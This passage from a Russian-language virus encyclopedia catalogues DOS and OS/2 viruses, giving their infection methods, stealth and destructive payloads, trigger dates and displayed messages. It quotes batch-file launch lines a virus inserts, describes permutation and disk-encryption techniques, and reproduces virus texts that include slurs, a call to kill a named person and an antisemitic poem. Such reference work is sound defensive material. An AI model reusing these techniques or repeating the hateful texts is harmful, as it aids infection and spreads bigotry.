Nutcracker.AB6 (4) - "Dreary Nutcracker(AB6) lives forever !".
Иногда изменяют символы, выводимые на печать, либо совсем блокируют
вывод на принтер. Удаляют файлы, имеющие расширения FW, ?AS и MS (в
последнем варианте вирус содержит ошибку). Содержат зашифрованный текст
"Любовь Н.".
Nutcracker.AB7 (1,2)
Неопасные резидентные файлово-загрузочные вирусы. Заражают MBR жесткого
диска, загрузочные сектора дискет и EXE-файлы, при их создании. EXE-
файлы заражаются, если их длина не более 64K. Вирусы переводят их в
формат COM-файла, внедряя в начало заголовка JUMP на свое тело и в
дальнейшем самостоятельно настраивая адреса таблицы перемещаемых
символов. При загрузке с инфицированного диска вирусы оставляет свою
копию резидентно в памяти (по возможности в области UMB) и
перехватывают INT 9,13h,15h,21h,2Fh,40h. При нажатии на Ctrl-Alt-Del
вирусы проверяют наличие своего кода в MBR и заражают его. При вызове
функции AH=13h INT 2Fh (получить адрес дискового драйвера) вирусы
самостоятельно удаляют себя из MBR. 12 числа нечетного месяца при
загрузке системы выводят сообщение "I'm Nutcracker(AB7)!", ждут
нажатия на клавишу и продолжают загрузку системы.
Nutcracker.Info.2133, 2142, 2259
Неопасные резидентные вирусы-черви. При старте инфицированной программы
вирусы выводят тексты:
Nutcracker.Info.2133:
InfoSystem version1.02
Reading System Information...
Computer type: IBM PC
Nutcracker.Info.2142:
-*- INFOSYSTEM -*-
version 1.04
(C) 1995 by Ziff Co.
Reading System Information...
Computer type: IBM PC
Nutcracker.Info.2259:
Reading System Information...
Computer type: IBM PC
после этого вирусы проверяют тип компьютера и печатают одну из
следующих строк: "Original", "XT", "AT", "Convertible", "PS/2","Junior"
или "Unknown". Далее выводится текст:
Checking HDD controller...
SCSI controller type: Unknown (Error14)
и производится заражение системы. Вирус создает в каталогах, отмеченных
через переменную "PATH", файл INFO.COM (или INFOSYS.COM), содержащий
вирусный код. Затем он (вирус) производит поиск *.BAT-файлов и
записывает в их начало команды:
@if not exist info.com goto noinfo
@info"nul
:noinfo
или:
@if not exist infosys.com goto noinfo
@infosys"nul
:noinfo
При запуске такого BAT-файла производится запуск файла INFO.COM
(или INFOSYS.COM) и, следовательно, управление получает вирусный код.
Этот вирусный код размещает свою резидентную копию в памяти и
"перехватывает" INT 1Ch и INT 21h. При попытке доступа к измененным
вирусами BAT-файлам вирусы включают свои стелс-процедуры. При запуске
программ CHKDSK, WEB или DRWEB вирусы отключают свои стелс-режимы.
Nutcracker.Snowfall.945, 1015 (1,2)
Неопасные резидентные вирусы. Иногда вызывают на экране эффект
падающего снега. Если в этот момент запустить инфицированную программу,
то вирусы выводят текст "Given program was generated in BrPI (c) 1994
The Snowfall.".
NYB
В 1 час ночи и в 9 утра "вешает" систему при чтении диска.
Obid.555
Неопасный нерезидентный вирус. Выводит тексты "V mene obid,poguljay" и
"Prijdesh zavtra ja vidpochivaju".
Ocsana.692
Неопасный резидентный вирус. 13 августа выводит текст "Happy birthday,
Ocsana!"
OhLaLa.1895
Неопасный нерезидентный вирус. Удаляет файлы *.MS, *VIR.DAT. До 13
числа месяца проигрывает мелодию и выводит на экран текст:
Ohhhh La La!
Mommmmy, they're teasing me again
Shut up you little sonsuvbitches
OkYes.1257
Очень опасный нерезидентный вирус. Может уничтожить информацию всех
дорожках первой головки жесткого диска. Очень низка вероятность вывода
на экран символов "!" вместе со звуковым сигналом. Свое название
получил за вызов INT 11h со словом "Ok? " в регистрах AX, BX и
ожиданием ответного слова в тех же регистрах "Yes." (?).
OldYankee.1961
После заражения EX-файла исполняет мелодию "Yankee Doodle".Имеет строку
"motherfucker".
OldYankee.Bandit
Опасный нерезидентный вирус. В понедельник пытается отформатировать
нулевую дорожку дискеты в третьем флоппи-дисководе. Содержит текст
"!!PCBANDIT!!".
Olenka.6144
Неопасный резидентный вирус. Устанавливает свою резидентную копию в
верхних адресах памяти, "отрезая" при этом от памяти DOS 12K (адрес
0:413h). При попытке какой-либо программы остаться в памяти резидентно,
вирус освобождает ранее занятую область памяти и копирует свой код
в память, расположенную непосредственно за кодом программы, пытающейся
остаться резидентно. Для выполнения данной операции вирус увеличивает
величину запрашиваемого участка памяти на размер собственного кода. 26
апреля вирус выводит на экран текст "Demo !". Свое название получил за
засылку в некоторые регистры фразы "Оленька!".
Olga.4448
Опасный резидентный вирус. В октябре уничтожает содержимое первых
секторов текущего физического диска и в это время выводит текст:
You must undertake nothing ,if you need the datas stored on your default disk.
Не советую что либо предпринимать если вы дорожите данными записанными на текущем
диске.
I M A R C E N C Y
T H E V I R U S O L G A W O R K I N G .
( W R I T E N B Y S C O R P I O N )
В Н И М А Н И Е
Р А Б О T А Е Т В И Р У С О Л Ь Г А .
( С О С Т А В И Т Е Л Ь - S C O R P I O N )
Раз на вокзале я девушку встретил Не знаю, что в ней мне приглянулось,
Она очень сильно понравилась мне, Но эти глаза меня завлекли.
А позже в вагоне ее я приметил, Во мне словно что-то проснулось ...
Сидела та дальше, на другой стороне. О, как быстро часы те прошли !
Потом оказалось, что едим мы вместе, В общении я был для нее как наставник,
О, как чудно то было узнать ! За старшего могла меня она звать.
И вот - очутившись на месте, И выглядел я точно забавник,
Я старался ее во всем поддержать. Который мог все и вся попирать.
Как сильно все время старался Но тут его величество случай
Ее хоть не много, но выше поднять. Ее вдруг к вершинам вознес.
Как сильно тогда я сам принижался, И я ей сказал, что над горною кручей,
И все для того ,что бы равными стать. Любовь в своем сердце я нес.
О! Как сильно тогда я боялся, И тогда, униженья так сильно боясь,
Что стараясь принизить себя, Я солгал, я солгал, но всего один раз.
Я не только с ней поровнялся, И соврал лишь к признанью стремясь,
Но и ниже вдруг стану мгновенье спустя. Но не был услышан негромкий мой глас.
О, боже насколько она изменилась, Я знал, что придет час прощанья,
Как сильно себя она подняла! Ведь насквозь ее видеть я мог.
И за нос меня поводить вдруг решилась, И вот услыхал от нее - до свиданья,
Про это не скажешь то слово - "Любя". И другом остаться к тому же зарок.
Мне больно! И она это знала. Не смейся ты, дураком меня называя.
Она знала, что я ее полюбил. О нет! Не буду один я страдать!
И хоть отказ этот тихий мне дала, И в помощь искуство свое призывая,
Я душу свою уже отравил. Хочу хоть частицу тебе передать.
Я вкладываю всю черную часть души своей,
В то мастерство простое,
Которое представит участи моей,
Народу множество большое.
И что бы участь эта слаще была,
Я нарекаю демона именем ее.
И знак который та носила,
Означит действие сие.
И так, его назвал я Ольга, Спасибо друг, что отхлебнул из чаши.
И здесь он уничтожил все. То не проблема, не скисай!
От бывшего остался стих сей только. Мы совместили боли наши ...
О, не старайся, не поймать тебе ее. Но мне кажись пора. Прощай!
Omega.440
Опасный нерезидентный вирус. В пятницу 13 числа уничтожает содержимое
первых секторов первого жесткого диска.
OneHalf.3544 (1-7), 3570, 3577, 3666
Очень опасные полиморфные файлово-загрузочные стелс-вирусы. Используют
алгоритм заражения, похожий на алгоритм CommanderBomber. Но помимо
того, что "усеивают пятнами" своего кода (10 "пятен" по 10 байт)
инфицированный файл, производят шифрование основного тела вируса,
расположенного в конце файла. При первом запуске инфицированного файла,
заражают MBR "винчестера". Оригинальный MBR и 7 секторов своего тела
"прячут" в последних секторах 0 цилиндра жесткого диска. При
перезагрузке компьютера, "отрезают" от доступной DOS памяти 4K,
считывают в "отрезанную" верхнюю область памяти свое продолжение - 7
секторов, и перехватывают INT 13h и INT 1Ch. Контролируют с помощью INT
1Ch установку DOS'овского INT 21h, и перехватывают его. При каждой
перезагрузке системы с жесткого диска последовательно, начиная с
последних цилиндров, шифруют все сектора двух цилиндров на каждой
головке диска. Когда вирусы находятся в памяти, они контролируют чтение
секторов данных цилиндров и расшифровывают их. Если же вирусы будут
удалены из MBR и памяти, то восстановление зашифрованных секторов
окажется невозможным. При зашифровывании половины диска вирусы выводят
на экран фразу:
Dis is one half.
Press any key to continue ...
OneHalf.3544 (3) выводит текст:
Dis is TWO HALF.
Fucks any key to Goping...
OneHalf.3544 (4):
HET - фu3uke u ucTopuu B pacnucaHuu uy7 !
OneHalf.3544 (5):
Disk is Tpu half.
(Bepx, Hu3 u Pe6po)
OneHalf.3544 (6):
Dis is 3 HALF !.
Fucks any key to LoHing...
OneHalf.3544 (7):
A cup of Beer ?.
See you later...
После этого ожидают нажатия на любую клавишу. После чего продолжают
свою дальнейшую инсталляцию в память. При попытке трассировки
резидентной части вируса, предпринимают некоторые простые, но
действенные меры "завешивания" системы. Содержат текстовые строки "Did
you leave the room?" или "DidYouLeaveTheRoom?". OneHalf.3544 (3) имеет
текст "User is loh !". Не заражают файлы с именами SCAN,CLEAN,FINDVIRU,
GUARD,NOD,VSAFE,MSAV,CHKDSK,AIDS,ADINF,WEB. Вирусы OneHalf.3544 (4,5)
не зашифровывают диск. OneHalf.3544 (4) содержит тексты "Copyright(c)
by Automatic Integerated Digital Software", "3TO - HE Bupyc, cynepxakep
Ara6ekoB !", "CugopeHKOB - gypak !!!". OneHalf.3544 (6) имеет текст
"WEB - LOH !!!", Onehalf.3666 - "Hail to the GREAT OneHalf's author!".
OneHalf.3544 (7): "Doyou want to Drink ?".
Oops.600
Опасный резидентный вирус. Заражает файлы только начиная с июня.
После установки своей TSR-копии или при старте программ, оканчивающихся
на ST, NF, -V, вирус выводит сообщение "Bad command or file name". В
воскресенье переименовывает C:\COMMAND.COM в C:\COMMAND.BAD и выводит
текст:
-------------------------------------
-- Oops! Sorry for BAD virus! --
-------------------------------------
Ornate
Очень опасный загрузочный вирус. Может уничтожить информацию на жестком
диске.
OS2.Arelocs
Неопасный нерезидентный вирус, заражающий *.EXE и *.DLL - файлы в
формате NewExe (NE), принадлежащие OS/2. Данный вирус находит в
заголовке NE точку входа на кодовый сегмент, "сдвигает" все остальные
сегменты в конец файла, увеличивает размер стартового кодового сегмента
на размер вируса, записывает себя в освободившееся место и корректирует
заголовок NE. Это первый известный вирус для OS/2, "корректно и
правильно" заражающий NewExe (NE) файлы. Вирус содержит текст "(C) 1995
American Eagle Publications Inc., All rights reserved.".
OS2.First
Опасный нерезидентный, перезаписывающий (overwritting) программный код,
вирус. Заражает *.EXE - файлы в формате NewExe (LX) (файлы для OS/2).
Вирус выводит на экран сообщения:
"Error opening file"
My name is
--" infected
OS2.Jiskefet
Неопасный нерезидентный вирус. Заражает *.EXE- файлы для OS/2. Вирус
читает 2048 байт заголовка файла-жертвы, записывает их в конец файла, а
в начало файла записывает 2048 байт своего вирусного кода. Вирус имеет
тексты "Jiskefet", "MK".
Otti.937
Опасный резидентный шифрованный вирус. 14 и 18 числа месяца уничтожает
MBR первого жесткого диска. Имеет строку "OTTI FOREVER".
Ox.475
Неопасный резидентный полиморфный вирус. Использует один из 4 вариантов
расшифровщиков своего кода.
Oxana.747, 819
Неопасный резидентные вирусы. Не заражают программы, содержащие строки
Oxana.747: "Web" или "ADi", Oxana.819: "viru" или "виру". Содержат
тексты "Оксана v.4.8" или "Оксана v.4.D".
Oxana.1419, 1555, 1653, 1654, 1702
Неопасные резидентные вирусы. Иногда выводят текст:
------------------------------------------------------------¬
¦ Я вирус! ¦
¦ Угадай мое имя,или я причиню страшные разрушения... ¦
¦ ¦
¦ ¦
¦ --¬ --¬ --¬ --¬ --¬ --¬ ¦
¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦
¦ L-- L-- L-- L-- L-- L-- ¦
L------------------------------------------------------------
Если ввести имя "ОКСАНА", то вирус выводит следующее сообщение:
------------------------------------------------------------¬
¦ Я вирус! ¦
¦ Угадай мое имя,или я причиню страшные разрушения... ¦
¦ ¦
¦ ¦
¦ --¬ --¬ --¬ --¬ --¬ --¬ ¦
¦ ¦О¦ ¦К¦ ¦С¦ ¦А¦ ¦Н¦ ¦А¦ ¦
¦ L-- L-- L-- L-- L-- L-- ¦
LПравильно! Найдите Борисову Оксану для получения антивирусаPalma
Неопасный загрузочный стелс-вирус. При заражении MBR жесткого диска
использует прямое программирование контроллера жесткого диска. Содержит
текст "Palma5.".
Pamyat.2000 (1-5)
Неопасные нерезидентные шифрованные вирусы. При обнаружении в окружении
программы (ENVIRONMENT) строки "OBSHCHESTVO="Память"" вирусы выводят
текст:
ВНИМАНИЕ ! ! ! Эта программа заражена моим вирусом !
Во избежание недоразумений система завешена.
1 декабря выводят текст:
Я люблю Таню !
Поздравляю её с днем рождения !
или:
Сей вирус посвящен Тане.
Поздравляю её с днём рождения !
Таня, я люблю тебя !!!
или:
Сей безобидный вирус посвящён Тане.
Поздравляю её с днём рождения !
Таня, я очень люблю тебя !!!
В сентябре Pamyat.2000 (3) выводит текст:
Сия программа заражена вирусом.
Покупайте AIDSTEST !
Pamyat.2000 (5) по средам в ноябре выводит текст:
Радуйтесь, люди: скоро у Тани будет день рождения.
После 1 сентября в понедельник также может быть выведен текст:
Два Рима пали, третий есть, а четвертому - не быть !
Содержат в своем теле строку "Новосибирск, 6 - 8 - 1996. Version 3b"
или "Новосибирск, 17-10-1996. Version 3d", или "Новосибирск,
8-11-1996. Версия 3e.".
Pamyat.3000 (1,2)
Очень опасные нерезидентные шифрованные вирусы. При обнаружении в
окружении программы (ENVIRONMENT) строки "OBSHCHESTVO="Память"" вирусы
выводят текст:
ВНИМАНИЕ ! ! ! Сия программа заражена моим вирусом !
Во избежание недоразумений система завешена.
"Обрезают" файлы форматов NewExe (NE) и PortableExe (PE) до 1024 байт и
в DOS-заголовок этих файлов вирусы записывают код, выводящий на экран
текст "This program must be run under OS/2.". В файл DRWEB.EXE вирусы
записывают код, завершающий работу программы. 1 декабря выводят текст:
Очередной вариант сего безобидного вируса снова посвящён Тане.
Таня, поздравляю тебя с днём рождения !
Таня, я очень люблю тебя !!!
3 апреля - следующий текст:
Мы проклинаем в ответ непотребное племя евреев,
Что над собою творит гнусный, бесстыдный обряд,
Глупых теорий источник, с холодной субботой на сердце -
Сердце ж ещё холодней самой религии их.
Каждый седьмой они день пребывают в позорном бездельи -
Вялый, ленивый их Бог в этом им деле пример.
Прочие выдумки их - лишь рабов легковерных утеха:
Умный ребёнок - и тот им бы поверить не мог.
Пусть бы несущее ужас оружье Помпея и Тита
Не покоряло совсем нам иудейской страны!
Вырвав из почвы, заразу по белому свету пустили -
И победитель с тех пор стонет под игом раба.
Рутилий Намациан
"De reditu suo"
Содержат текст "Новосибирск, 31-03-1997. Версия 3f.".
Panda.1062, 1070
Неопасные нерезидентные шифрованные вирусы. В воскресенье пытаются
вылечить инфицированные файлы. Panda.1070 содержит текст "Hi!PD".
Pande.1516, 1520, 1532
Неопасные резидентные стелс-вирусы. По возможности устанавливают свои
резидентные копии в область UMB. При запуске программ из списка (по 2
буквы на имя) F-TBARRALHPKCH отключают свои стелс-процедуры. Содержат
тексты "pandemonium by retch", "17/04/96".
Pantera.400
Неопасный резидентный вирус. В вирусе имеется строка "Pantera".
Parity (1-3)
Неопасные Boot-вирусы. Иногда выводят на экран сообщение "PARITY CHECK"
и "вешают" систему. Переживают "теплую" перезагрузку (Ctrl-Alt-Del).
Paul.1536
Содержит строку "1992".
Paula
Неопасный загрузочный вирус. Содержит текст "DIGITAL'93".
Paulus.1804
Опасный резидентный вирус. Может изменять на экране монитора большие
буквы на маленькие, а также при нажатии на Ctrl-Alt-Del может вывести
текст "Paulus de DOSkabouter lives here..." и "завесить" систему. Имеет
текст "(C) MeThOxY 1996".
Pcbb.J4j.833
Неопасный резидентный вирус. Содержит тексты "Jump 4 Joy, alpha-
release. Not to be distributed!", "AJ4J".
PeaceKeeper.3820
Опасный резидентный полиморфный вирус. Заражает COM и EXE-файлы. В COM-
файлы вирус внедряется по методу вируса CommanderBomber. Иногда вирус
может уничтожить boot-сектор диска A:, записав в область загрузчика
код, который выводит на экран текст:
Peace-Keeper Virus V2.10
Written by Doctor Revenge 18-May-1994 , Italy
и "вешает" систему. Также вирус содержит тексты "[MCG v0.31с]" и
"SCCLVIVSMSCPF-IMVHTB". Вирус не заражает файлы, содержащие первые 2
буквы, указанные в последней строке.
Peach.887
Резидентный вирус. Уничтожает файлы CHKLIST.CPS. Иногда записывает
текстовую строку "Roy CuatroNo 2 Peach GardenMeyer Rd. Spore 1543" по
адресу 0040:00FC.
Peel.334
Опасный нерезидентный вирус. При неаккуратной трассировке уничтожает
содержимое 720 секторов диска C:. Периодически устанавливает признак
неактивного (незагружаемого) раздела для первого логического диска в
таблице разделов (partition table), в MBR.
Penetrator.491
Неопасный резидентный вирус. При загрузке программы, как оверлея
(f.4B03h или 4B01h INT 21h) выводит текст:
PENETRATOR V3.02 (COM)
EA Cybernetic Empire
(C) BY GOSHA.INC. 1994
Your PC now Infected !
Pest.2743
Опасный резидентный полиморфный вирус. 13 числа может уничтожить 256
секторов первого жесткого диска. Содержит текстовые строки
"Pest (c) 12/10/93 by (and best wishes from) PRIEST Int., Gbw/Germany",
"ASCECLHVSPF-ACPRVINWI".
Peter
Опасный загрузочный стелс вирус. Размещает свою копию по адресу
9F00:0000. 27-го февраля вирус выводит текст:
Good morning,EVERYbody,I am PETER II
Do not turn off the power, or you will lost all of the data in Hardisk!!!
WAIT for 1 MINUTES,please...
после чего шифрует сектора жесткого диска. Далее вирус задает
несчастному пользователю вопросы и предлагает ответить на них:
Ok.If you give the right answer to the following questions,I will save
your HD:
A. Who has sung the song called "I`ll be there" ?
1.Mariah Carey 2.The Escape Club 3.The Jackson five 4.All (1-4):
B. What is Phil Collins ?
1.A singer 2.A drummer 3.A producer 4.Above all (1-4):
C. Who has the MOST TOP 10 singles in 1980`s ?
1.Michael Jackson 2.Phil Collins (featuring Genesis)
3.Madonna 4.Whitney Houston (1-4):
Если ответить на все вопросы правильно то вирус расшифровывает сектора
и поздравляет счастливчика:
CONGRATULATIONS !!! YOU successfully pass the quiz!
AND NOW RECOVERING YOUR HARDISK ......
Иначе информация на диске не восстанавливается, а выводится текст:
Sorry!Go to Hell.Clousy man!
Phalcon.894
Опасный нерезидентный вирус. В марте форматирует случайные диски. По
понедельникам оставляет в памяти "на таймере" (INT 08) резидентный код,
который постоянно вызывает INT 1Ah (получение системного времени).
Phalcon.BobRoss.1110, 1117 (1,2), 1133
Неопасные нерезидентные вирусы. 9 июля оставляют в памяти резидентный
код, который примерно через 4.5 часа выводит в верхнем левом углу
экрана поочередно тексты:
Bob Ross lives!
Bob Ross is watching!
Maybe he lives here...
What a happy little cloud!
Maybe he has a neighbour right here...
You can make up stories as you go along.
или Phalcon.BobRoss.1117 (2):
DR.LOH ! lives!
Don`t the PANIC !!!!!
WEB is LOH & Penis...
Please WAIT! HDD format WAIT!!!
MikeMutationEngine (c)MikeHacker
(DR.LOH is best of the best VIRUS !!!!!!
В теле вирусов также имеется текст "PHALCON".
Phalcon.Dcool
Неопасный нерезидентный вирус. Оставляет в памяти резидентный код,
который выводит следующий текст:
SHALOMKnock... Guess who's There...
Fuck Asi Azulay and Lior Cohen ...
It's Dr. Unknown... :-)
Fuck Guy Assado for Distributing my Sources...
Use XOPEN, MAN!!! FUCK Stick-Buster!!!
ViSiON-X is Some C00L Program !!!
Call to Support board: +972-X-XXXXXX !!!
TNTVIRUS is SHIT!!! Cpav is SHIT!!! Use McAfee!
But... McAfee is SHIT too...
Borland is the BEST...
Too bad, you didn't make Backup for your HD... :)
I Wonder, What INT 13h Does with AH=05...
Just kiddin'... Ya know?
GUY ASSADO IS MONGOL!!!
COOLNESS is FOREVER!!!
Также содержит строку "D-C00L-1 ViRUS".
Phalcon.Maria
Опасный нерезидентный вирус. 2 числа месяца уничтожает случайные
сектора диска. Оставляет в памяти резидентный код, который выводит
текст:
Maria K lives..
Somewhere in my heart..
Somewhere in Sweden..
I might be insane..
But the society to blame..
The Unforgiven / Immortal Riot
Phalcon.Psychosis
Неопасный нерезидентный вирус. 6 июня оставляет в памяти резидентный
код, который через 5 минут выводит текст:
Another year passed by
Another tear the willows cry
to change the world we ever try
to make a difference before we die
[PSYCHOSIS] Greets, Phalcon/Skism.
(c) 93/94 The Unforgiven / Immortal Riot
Содержит также текстовую строку:
\\ Merry Xmas and a happy new year // Sweden - Snowing Again
Phantom1.7000 (1-4), 7100, 7160
Полиморфики. Если около 20 минут не было нажатий на клавиши выводят
следующую картинку:
----------------------
-----------------------------
------------------------------------
----------------------------------------
------------------------------------------
---------------------------------------------
---------------------------------------------
---------------------------------------------
---------------------------------------------
-- ---------- ---- --------
-- ------ -- ------
--- ------- ---------
--------------- --------- ----------
------------- -------------------------
----------- ------------------ ---
------------------- -
------------------
------------------ -
- - - - --
------- ------------- ---
---------------------------
---------------------------
-------------------------
Затем на фоне надписи "PHANTOM 1" появляется бегущая строка
"Congradulations!!! Your computer is now infected with a high
performance PHANTOM virus! Coming soon: next virii based on the
_C00LEST_ mutation engine all over the world: the Advanced
Polymorphic Engine! Enjoy this intro! (C) 1994 by Dark Prince.".
Phardera.5824
Неопасный резидентный полиморфный вирус. 10 числа каждого месяца
выводит текст "Phardera + Dianita". Содержит также текст:
Phardera
-by Phardera'95-----Batavia--------Indonesia----
RaredrahP Dianita
PHB.4315, 4461
PHB.4315 очень опасный нерезидентный вирус. Производит поиск всех
файлов и уничтожает их содержимое, записывая в них свой вирусный код,
не сохраняя оригинальную информацию. PHB.4461 неопасный нерезидентный
вирус. При старте вирусы выводят на экран в текстовом режиме текст:
--T-----¬-г--¬-г-T-¬-г-T-¬-T--T-¬--г-¬----------------------------------------
--¦-----¦-¦--+---¦-----¦---L--+----L-¬----------------------------------------
--¦-------¦--+---¦-----¦---L------L-------------------------------------------
--¦---------------------------------------------------------------------------
--¦---------------------------------------------------------------------------
--------------------------------------------------T----¬--г--¬-г--¬-T-¬---г-¬--------------------------------------------------¦----¦--¦--¦-¦--¦-¦-+¬--L-¬-
--------------------------------------------------¦----+¬-L----L----¦----L----
--------------------------------------------------¦-----¦---------------------
--------------------------------------------------¦---------------------------
По окончании работы вирусы выводят сообщение "Thank you for viewing
Patty Hoffman's Boobs!". Содержатся также тексты:
PHB.4315:
Patty Hoffman's Boobs! Virus version 1.0 Copyright (c) 1993 by Cerebral
Quantas. Made in Canada, Eh! July 4, 1993.
PHB.4461:
[Patty's Boobs Virus] v2.5 Copyright (c) 1993 by Cerebral Quantas. Made
in Canada, Eh! January 27, 1993.
PhisDept.6294
Очень опасный резидентный вирус. Перехватывает INT 03,20h,21h,27h,2Fh,
80-84h. Заражает COM и EXE-файлы при их запуске. При заражении файлов
производит эмуляцию 1000 первых байт программного кода - анализирует и
копирует каждую команду в свой буфер и выполняет данную инструкцию.
Вместо любой команды может вставить вызов прерывания INT 03 (CCh) или
INT 80-84h (CDh 80-84h). Т.к., данные прерывания вирусом "захвачены",
то вирус считает, что это "внедренные" им инструкции и подставляет
вместо них сохраненные ранее в теле вируса 2 байта. 27 февраля, 20 июня
и 9 мая, при старте MS-Windows в режиме 286 (enhanced 286) вирус может
вывести текст:
У И Н Д О У З-ДУРА. (C) Copyright Kovalevsky & Co, MSU PhisDept.
Happy birthday to us.
А также может послать модему следующие команды управления "ATM2",
"ATL3M0Q0X4S7=5DP9W", "ATS7=30DP8W1018094745268". Последняя команда -
попытка позвонить в Калифорнию. Содержит тексты "AntiAidstest.
(C)Copyright Kovalevsky & company.", "AntiLozinsky.", "Лозинский-ЧМО",
"COMMAND.COM ".
Phonix.927
Опасный резидентный вирус. При старте инфицированного файла вирус
пытается заразить командный процессор (COMMAND.COM). Инсталлируется в
память вирус только из командного процессора. Заражает COM и EXE-файлы
при их закрытии (f.3Eh Int 21h). В пятницу 13 числа вирус уничтожает
содержимое 14 цилиндров жесткого диска и выводит строку "PhФnix".
Phx.823, 965
Опасные резидентные вирусы. При записи в файлы (f.40h INT 21h) могут
испортить последний байт данных. Содержат строку "PHX".
Pieck.2016
Неопасный файлово-загрузочный вирус. 3 марта выводит сообщение
"Podaj haslo ?" и ждет ввода символов. Если ввести "pieck", то вирус
выводит текст "Pozdrowienia dla wychowankow Pieck'a." и продолжает свою
работу. Если же будет введено какое-либо другое слово, то вирус выводит
сообщение "Blad !" и "вешает" систему.
PifPaf.760
Неопасный резидентный вирус. Содержит тексты "PIF-PAF B v1.0", "Nincs
kegyelem !".
Pindonga.3550, 3652
Опасные резидентные полиморфные вирусы. 16 сентября, 25 февраля, 21
марта и 27 августа вирусы уничтожают содержимое двух первых жестких
дисков и выводят текст:
PINDONGA Virus V5.6. (Hecho en ARGENTINA)
Programado por Otto (16977)
Saludos a MAQ-MARIANO-SERGIO-ERNESTRO-COSTRA-PABLIN
PD: Alguien mate a Bill Gates (El WINDOWS SE CUELGA)
PINDONGA Virus (Programado por OTTO en ARGENTINA) 16977.
Pit.611
Опасный нерезидентный вирус. Удаляет файлы CHLLIST.CPS. Содержит
строку "The Pit v.1.20".
Pixel.based - вирусы
Нерезидентные вирусы. Производят поиск *.COM-файлов и внедряются в их
начало. Иногда выводят на экран сообщения:
Pixel.299, 342, 345, 846, 847
Program sick error:Call doctor or buy PIXEL for cure description
Pixel.457, Pixel.550
Устраивают видео-эффекты в графическом режиме монитора.
Pixel.851, 852
С¦д за Владко и негови¬ -а-ко ! Ние в-и¬ки -ме за п-е¦---ой--во !
Pixel.877:
Sector not found error fucking defoult drive! Please buy me a new disk drive!
Pixel.1268, 1271
После заражений файлов просит ввести пароль "ENTER THE PASSWORD: ".
Если ввести фразу отличную от "Ken Sent Me", то вирус выведет текст
"YOU HAVE ENTERED THE WRONG PASSWORD!!" и возвратит управление DOS.
Содержит также текст "PreComFileRunSyndrome 1993".
Pixel.Flea.1577, 1647
Очень опасные вирусы. Уничтожают некоторые файлы, записывая в них код
вируса Dir-II. Уничтожают содержимое текущего диска или случайных
секторов диска.
Pixel.Hydra.340, 342, 343, 368, 372, 391, 403, 495
Опасные нерезидентные вирусы. Некоторые версии вирусов удаляют файл
COMMAND.COM, или портят все EXE-файлы в текущем каталоге, или
записывают в EXE-файлы код, который выводит текст "Who is John Galt?",
или переназначают INT 4, INT 40h на INT 9 или на INT 13h, или выводят
текст:
HYDRA
Copyright (c) 1991 by C.A.V.E.
Также содержат текст "HyDra-X Beta - Not For Release.", где X -
порядковый номер версии вируса.
Pixel.Hydra.736
Неопасный нерезидентный вирус. Иногда выводит на экран сообщение:
HYDRA
Watch for the many heads.
The first eight are easy to find and kill.
Their replacements will be more sophisticated.
(c) 1991 - C. A. V. E.
Содержит тексты "HyDra Beta - Not For Release.", "Copyright (c) 1991
by C.A.V.E.", "Coalition of American Virus Engineers",
"-=-=- Dedicated to supporting the anti-virus industry
without recognition or reward. -=-=-".
Plague.2647
Неопасный резидентный стелс-вирус. При открытии инфицированных файлов
(f.3Dh INT 21h) удаляет свой код из них. При закрытии (f.3Eh INT 21h)
снова заражает. Внедряет команды межсегментного перехода на свой код в
оригинальный обработчик INT 21h. При заражении файлов на флоппи-диски
проверяет наличие защиты от записи на диск посредством чтения и
обратной записи Boot-сектора данного диска. Содержит строку "PLAGUE".
Platov.1644, 1700
Опасные резидентные вирусы. При смене директории на GAMES или ANT*,
выводят тексты:
Access Denied Software presents Access Denied Software presents
The PC Virus The PC Virus
Компьютер создан не для игр! Не пытайтесь меня уничтожить!
И уничтожают файлы в этих каталогах. При смене диска на A: (f.0Eh Int
21h) выводят такой текст:
Access Denied Software presents
The PC Virus
Не пользуйтесь дискетами.
Там могут быть вирусы.
После чего уничтожают 256 секторов диска A:. При печати на принтер
меняет букву "е" на "э" и после каждой запятой вставляют междометие
"бля". Содержат тексты "Programmed by Andrey Platov 15 years old on
09.07.1992", "Hello to Igan, Pershin ЧМО".
PlayGame.2000
Неопасный файлово-загрузочный вирус. Заражает EXE-файлы при доступе к
ним через INT 21h и MBR жесткого диска при первом старте инфицированной
программы. Инсталляция в память TSR-копии вируса производится при
загрузке системы с "винчестера". Содержит текстовые строки "[ MK /
TridenT ]" и "CO4DSCCLVSNEHTTBVIF-FIGIIMRAFEMTBR". Не заражает
программы, которые начинаются с двух букв, имеющихся в последней
строке. В декабре с 21 часа вирус выводит приглашение к игре:
H A P P Y V I R U S
T i m e t o p l a y a g a m e
(Use shift keys)
После чего вирус предлагает поиграть в игру, смысл которой сводится к
провождению "улыбающейся рожицы" код ASCII 02 между двигающимися
препятствиями код ASCII 254. В процессе анализа вируса я даже поиграл в
данную игрушку. Дошел аж до 2 уровня... Вид игры выглядит, примерно,
так:
¦ ¦
¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦
Ply.based (Ply.3360,3486,3759,3768,4224,4722,5133,5175)
Опасные нерезидентные пермутирующие (pemutating) вирусы. Данные вирусы
не являются, ни шифрованными, ни полиморфными вирусами. Но алгоритм
создания своих вирусных копий очень близок к полиморфным алгоритмам.
Каждая ассемблерная команда вируса занимает не более 3 байт, эти 3
байта в свою очередь составляют некую вирусную компоненту. Если
ассемблерная инструкция занимает менее 3 байт в компоненте, то вирус
"разбавляет" ее NOP-командами. Причем в случайный момент времени эти
NOP'ы могут изменять свое местоположение ("плавать") в компоненте.
Например:
FB STI -" 90 NOP -" 90 NOP
90 NOP FB STI 90 NOP
90 NOP 90 NOP FB STI
Вирусы состоят из 3 блоков: основной блок, блок данных и блок
тождественных вызовов. Также в случайный момент времени вирусы могут
переносить данные трехбайтовые компоненты из основного блока в блок
тождественных вызовов и заменять их на JUMP или CALL в основном блоке.
И наоборот из блока тождественных вызовов в основной блок в
первоначальном виде. Например:
FB STI -" E9 ?? ?? JMP LOC_1
90 NOP
90 NOP
RET_1: RET_1:
E8 ?? ?? CALL LOC_1 B8 00 01 MOV AX,100
LOC_1: LOC_1:
B8 00 01 MOV AX,100 90 NOP
C3 RET FB STI
?? 90 NOP
?? E9 ?? ?? JMP RET_1
Таким образом, одинаковые инфицированные файлы могут не совпадать
ни в одном байте основного вирусного блока. Различные модификации
